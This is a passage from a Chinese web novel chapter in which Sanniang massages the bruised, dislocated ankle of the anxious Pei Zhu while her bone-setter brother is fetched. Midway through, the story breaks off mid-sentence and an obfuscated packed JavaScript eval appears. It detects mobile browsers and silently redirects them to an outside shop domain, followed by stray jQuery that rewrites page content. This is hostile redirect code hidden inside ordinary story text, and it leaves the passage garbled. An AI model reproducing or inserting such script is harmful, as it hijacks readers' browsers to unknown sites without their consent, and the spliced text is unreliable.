三娘仔细地瞧着裴珠的伤处,边看边观察裴珠的反应,“疼不疼?”裴珠早就叫苦不已,“疼!按地这块特别疼。”三娘摇了摇头,“我还没使劲,你这处伤得不轻,得静养些日子。”

    裴珠疼得满头大汗,三娘居然这还算是没用力,他瞬间卸了劲。三娘说完,往药架子上找了找,发觉少了味药,随即喊来谢昧川,又是嘱咐道:“你去隔壁村上喊我大哥来,让他带上地黄,再去找些杉木来。”她又是起身打量裴珠的腿,又出去寻其他要用的东西。

    谢昧川进来也瞧了瞧他的腿,他刚刚去烧了热水,怕一会有用。看三娘要他回娘家找人,大概也明了这伤不轻。一进屋就看见裴珠跃跃欲试地想要坐起来,忙制止:“你就安分点吧。”

    裴珠才又躺到床上,看三娘急匆匆地表现,他心里多了几分不好的想象,有些担心地问谢昧川:“是伤到骨头了吗?”

    “我不会以后要变成跛子吧……”

    谢昧川无奈,“要是真那么严重,当时在山里头你还能好端端地跟我站着说话?别自己吓自己了,三娘的大哥也是大夫,最擅长正骨术,应该是骨头错了位。”

    裴珠充满不确定地看着他,“真的?你们是不是安慰我才这么说,其实我已经没救了……如果是这样的话你们直说吧,我受得住。”

    谢昧川拎着用来装药材地筐子,掀开了帘子正打算走的时候又听见了这话,低低地笑,“对呀,其实你已经……”

    故意说话留了一半,他摸透了裴珠的性子,这欲擒故纵对别人不管用,对裴珠那是最管用的。

    “啊,你又这样!”

    谢昧川好笑回头,再道:“好了好了,别自己吓自己了,等我将何大哥请来,保管你立马就好。”

    好吧,裴珠承认自己是有点怂了,但这也情有可原,他从小可没有这样的险境出现,难免慌了神。

    不过,他突然想起来了自己家里那晾晒了一半的金银花,忙喊住了谢昧川,“你一会路过我家的时候帮我看看那些金银花,我本来说晾晒了晚上回来收拾的,却不想出了这事。”

    谢昧川应了,他步子匆匆,出去后去套了个牛车,匆忙往何家赶。

    一想起自己那些金银花,裴珠就有些心疼,一晚上没收,只怕是要潮了,浪费了不少,看来做新茶的计划应该要早日进行,单靠这一样,等过了季节,就没有后续赚钱的法子了。

    裴珠心里还是惦记着夜里的桂花,用来做新的花茶是最好不过的了,依稀记得茶书中写了几种内含桂花的茶汤,只是这一时半会,他想不起来。趁着最近,也可以回想回想,包括这次金银花茶,他应当将方子记下来,再看看味道最好的几次的具体所要的时辰。

    他不是熟手,每次随着性子做的茶或许别人喝起来味道并不相差太多,但是只要是多喝过一次的人,也能感觉出两者的不同,遇上稍懂点茶的比如那个行脚商,便一下子露了怯。除了花茶,他也起了念头,不如自己后头富裕自己添块地种东西。如今做什么都太看天时,花茶可做,但是雨水一打,花落了满地,他便没有了原料,做不了长远的生意。

    怨不得这里的人瞧不上赶山客,做了这几日的生意,他才知道实在是不稳定,一来是这些儿郎们是这村子的不着调的人中一大总,二来就是太看运气,运气好,什么都不会也能守株待兔,运气不好,纵使满身本领也颗粒无收。

    种地则大不一样,手脚勤快,种些应季的瓜果或是旁的什么的,只要今年风调雨顺,踏实肯干,这年年都能够有笔钱。这哥儿姑娘们想要找终身的依靠,男子们要想在这片土地扎下根,这地才是依靠。远的不说,单论裴家,也在老家置了地,说是绝不可动的。

    当然,如今什么都没了。

    家里的那些事情,恍若隔世,其实裴珠也不知道,裴家被定罪究竟是被牵连?还是确有其事。

    眼下只有自己过好,才能不负爹娘的筹谋,才能够有接回爹娘和哥哥的可能性。

    “裴哥儿,脚还疼得厉害吗?”三娘终于回来了,她端着木盆,里头是冒着气的热水,上面搭着条巾子,那是为裴珠处理伤口用的。

    裴珠回过神,他居然不知不觉想了这么多事,见三娘问自己,下意识地又一动,三娘轻轻拍了他一下,还笑着说:“刚刚昧川说叫我千万看住你,别叫你乱动我还刺他呢,说你和他这个皮猴子怎么样一样,可他说……”

    裴珠抬头,好奇地问:“他说什么?”

    三娘慢慢地拧干巾子,看了眼裴珠脸上的表情,这才娓娓道来。“裴哥儿娇气着呢,还说,”

    三娘笑,“你连他三岁的的时候都不如。”

    裴珠说:“我才没!啊!”

    这一声叫惨烈地让本来鬼鬼祟祟正在扒拉鸡崽子的百福直接弹飞了起来,还以为是自己即将要挨打了,飞快地躲在柴火堆后面去躲着。

    等了半天,屋里也没动。

    “汪呜?”

    百福疑惑地哼唧,不懂人的痛苦从何而来,只知道不是要揍他。

    屋里的人泪眼汪汪,三娘不为所动。

    三娘眼疾手快地将热帕子放在脚踝红肿的地方,她没动骨头错位的地方,而是将一些淤血狠狠地揉开了,这与她一贯的形象很反差,毕竟一个说话都温声细语的人,不知从骨子里的哪个地方突然迸发出来这样大的力气,不仅一只手揉开了淤血,甚至提前预见了裴珠会乱动,还按住了裴珠拼命想要逃开的身体。

    裴珠疼得刚刚恨不得自己马上死了过去,简直像是有人硬生生地掰开了他的骨头,再对着这钻心刻骨的伤处狠狠地来了一锤。

    最可怕是,这种酷刑不是一下的事,而是连绵不绝的,恨不得叫人大喊“我不治了!”

    三娘还边揉边问:

    “现在呢?”

    “这块不痛了吧?”

    裴珠下意识地道:“疼!”嗯?结果刚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663101|206730||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刚那明显的痛已经化作了酸,那种半点也动不了的感觉消失了,他试探地摸了摸,惊喜地说道:“不疼了!”

    “淤血揉开了自然就不疼了,第一下是挣扎得最厉害的,第一下过了就好了。”

    三娘笑着,她虽然没有办法直接处理这些骨头错位,但是这邻里邻居要是偶尔崴了脚,有淤血的还是让她来处理,所以她熟练极了,有时候这伤口的疼痛其实只有五分,人想的多了,这伤口便变成了十分的疼。

    裴珠思量片刻,三娘还以为他要问自己的伤口如何,结果他期期艾艾问出来:“那,谢昧川真说了我不如他三岁吗?”

    三娘一愣,忽然想起什么,一乐:“他倒是没这么说,那小子只说你怕疼,其他的话。”

    “都是我胡诌的。”

    她的神情自然仿佛自己说的就是天大的实话。

    裴珠仍觉得不对,这话怎么样也不像三娘说出口的,但是看三娘这副样子,他又不觉得三娘会说谎,这话说谎做什么呢?

    要是真问出口,还显得他真的十分了解谢昧川。

    其实仔细说来,他们俩才认识了多久?忽然觉得山里那阵悸动跟一阵风似的,来的也快,去的也快。

    这么说,可他一点也没发现自己的神情变得有些困惑,心头像是被无数的结缠着,解不开也理不清。

    “好了,你的脚踝那我能弄,但是错位的地方,只能得我大哥来了,我经手的人不太多,怕不够稳妥。”三娘一边拧干帕子,一边帮着裴珠擦其他位置的擦伤,边干边想把谢昧川揪回来,他留下通胡话,说话怎么这样难听,浪费了这样一副好皮相。

    怪不得没什么姑娘哥儿看上他,皮相八分,一张嘴便倒还回去十分,三娘刚刚都没敢说,这些话是实打实的原话,足够让人分神,可以足够让人生气,一会定要好好地审一审这混小子。

    “裴哥儿!”

    那声音一响起,房间里面地两人齐刷刷地抬头,三娘是因为太熟悉了,从小养到大的孩子能不熟悉么,她悄悄地观察着裴珠的样子,见他脸上带着浅浅的喜色,更是将自己心里的那个想法作了主意。

    裴珠望着窗外,谢昧川领着个身材瘦小的男子进了门,那男子眉宇间与三娘有些相似,想必这就是三娘的大哥了。

    裴珠更想看个仔细了。

    三娘却不大自然,她对着镜子整了整自己衣裳,又是捋了捋发稍,这才出门。

    见到自家大哥,跟见了什么贵客似的,居然还要保有仪态的端庄,真是奇怪。

    见三娘行了个礼,对着眼前的男人低声说:“大哥,麻烦你了。”

    “你要是能回家一趟,比行这样的礼有用。”

    何大哥挥了挥手,这是个十分严肃的男人,眼神精干,身形精瘦但并不文弱,臂膀泛着青筋,看得出来是做惯了力气活。

    他取出来正骨要用的器械,寒光一闪,吓得裴珠一抖,心里暗觉不妙。